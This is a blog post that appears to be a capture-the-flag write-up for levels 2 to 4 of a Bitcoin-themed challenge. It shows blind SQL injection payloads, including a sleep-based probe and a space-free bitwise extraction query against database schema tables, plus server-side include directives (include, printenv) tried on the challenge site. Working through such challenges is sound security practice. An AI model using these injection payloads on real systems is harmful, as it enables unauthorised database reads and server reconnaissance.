For the injecting script I used python with the requests module, which is one of my favourite python modules. (Never tell that on a first date though, just <i>TMI dude</i>). The script is quite straightforward, you can find the source code here: <a href="https://gist.github.com/anonymous/83c86279013462fc7d5e" style="font-family: inherit;">https://gist.github.com/anonymous/83c86279013462fc7d5e</a><br />
<div style="text-align: left;">
<br /></div>
The code is a bit chaotic and has unused features that I didn't care to delete, but it works.<br />
<br />
Running this for table_name tells us a few table names. The first 40 tables are internal and not of much interest right now. The last table is called urls. That's what we need. Then we can form a query for column_names, which you can find in the script that I linked. The column names turned out to be:<br />
<br />
<ul>
<li>url</li>
<li>addedby</li>
<li>deleted</li>
</ul>
Hmm... that deleted field looks promising. Is there a deleted bookmark that we need to read? Yes, it turns out. After running the same script for the urls table's url field we get the deleted url:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">/b00km4rks.php</span></blockquote>
And we just solved level 2.<br />
<br />
<h3>
</h3>
<h3>
Level 3 </h3>
<div>
I won't go into much detail here. It looks really similar to level 2.</div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkzTEYLdKbrfDo-Xl96vDlVK5jB4k7oocsvnVAdlb6-sJktECDdzgfFdCWcjzcFMLKTVOfOlJzWvUmE-iAWRUEJHFf1KKNUuDw7xtM6pFUW0rJs9eq84WmtcZU40qr9FokIOBHduPBuHE/s1600/bookmark2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkzTEYLdKbrfDo-Xl96vDlVK5jB4k7oocsvnVAdlb6-sJktECDdzgfFdCWcjzcFMLKTVOfOlJzWvUmE-iAWRUEJHFf1KKNUuDw7xtM6pFUW0rJs9eq84WmtcZU40qr9FokIOBHduPBuHE/s400/bookmark2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Well there are 3 bookmarks this time. Let's try the same thing we did in the last level. It gives us an error, so there is probably some filtering going on. Is it injectable at all?</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?orderby=sleep(3)&limit=10</span></blockquote>
Hell yes. But when we try this, we get an error:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?orderby=(select 1)&limit=10</span></blockquote>
This is suspicious. After some more tinkering I found out that spaces are definitely filtered here. Oh, that's not too bad. But then there is one little problem. You simply can't (at least I couldn't) form a LIMIT clause without a space. MySQL seems to be pretty strict on that compared to how liberal it is with other syntax. We need to lose the LIMIT clause. But how can we limit our query to just a single table? Otherwise we couldn't blindly inject.<br />
<br />
Well at this point it's easy. We can guess that the table schema is the same, but even if we want to make sure we only need to check the last table. All of the information_schema table names begin with capital letters. Let's filter these out by using<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(ord(substring(table_name,1,1))>90)</span></blockquote>
Here is the whole script by the way (again it is a bit chaotic): <a href="https://gist.github.com/anonymous/ab92acc41b0cf86cf52a">https://gist.github.com/anonymous/ab92acc41b0cf86cf52a</a><br />
<br />
Another thing we can check is the number of deleted bookmarks. Using the same method it turns out to be one. Finally, here is the space-less query that blindly reads the url of the deleted bookmark:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(select(addedby)from(urls)where((deleted=2)and(ord( </span><span style="font-family: 'Courier New', Courier, monospace;">substring(addedby,1,1))&1=1))union(select(1)))</span></blockquote>
Running this returns the solution for the third level:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">/?name=Lewis+Carroll</span></blockquote>
<h3>
</h3>
<h3>
Level 4 </h3>
<div>
This is where I (and many others according to Reddit/Twitter) got stuck. The clue was a name parameter. Where should we put this parameter? It turns out that the main page (www.bitcoinctf.com) is the target for this. When you check the source you get this comment at the top:</div>
<blockquote class="tr_bq">
<span style="color: #236e25; font-family: monospace; white-space: pre-wrap;"><!-- I imagine that right now you are feeling a bit like Alice tumbling down the rabbit hole... --></span></blockquote>
And it turns out that the "name" parameter controls the value of "Alice" (when it's not empty, that is). The first thing that comes to mind is XSS, but what can you do with a reflected XSS on a site that doesn't even use sessions? Nada. The second thing that came to my mind was something that I considered an "ancient" technique, and never thought that I would need it. SSI. Of course I don't have much experience, but is SSI used by any site in 2013?<br />
<br />
We can use th<span style="font-family: inherit;">e following commands:</span><br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><!--#echo var="..."--></span></blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"></span><span style="font-family: Courier New, Courier, monospace;"><!--#include file="..."--></span> </blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"></span><span style="font-family: Courier New, Courier, monospace;"><!--#printenv--></span></blockquote>
<div>
These give us some important info about the server, but sadly <span style="font-family: Courier New, Courier, monospace;">#exec</span> is somehow disabled. One thing that might be important is the SCRIPT_FILENAME variable. Its value is "/var/www/html/index.shtml". </div>
<div>
<br /></div>
<div>
I also tried including other files, even index.shtml itself, but it didn't help. Then I started trying the weirdest things until I was completely out of ideas. This is where I got stuck.</div>
<div>
<br /></div>
<div>
I'm really interested in the solution here, looking forward to a proper write-up!<br />
<blockquote class="tr_bq">
</blockquote>
</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0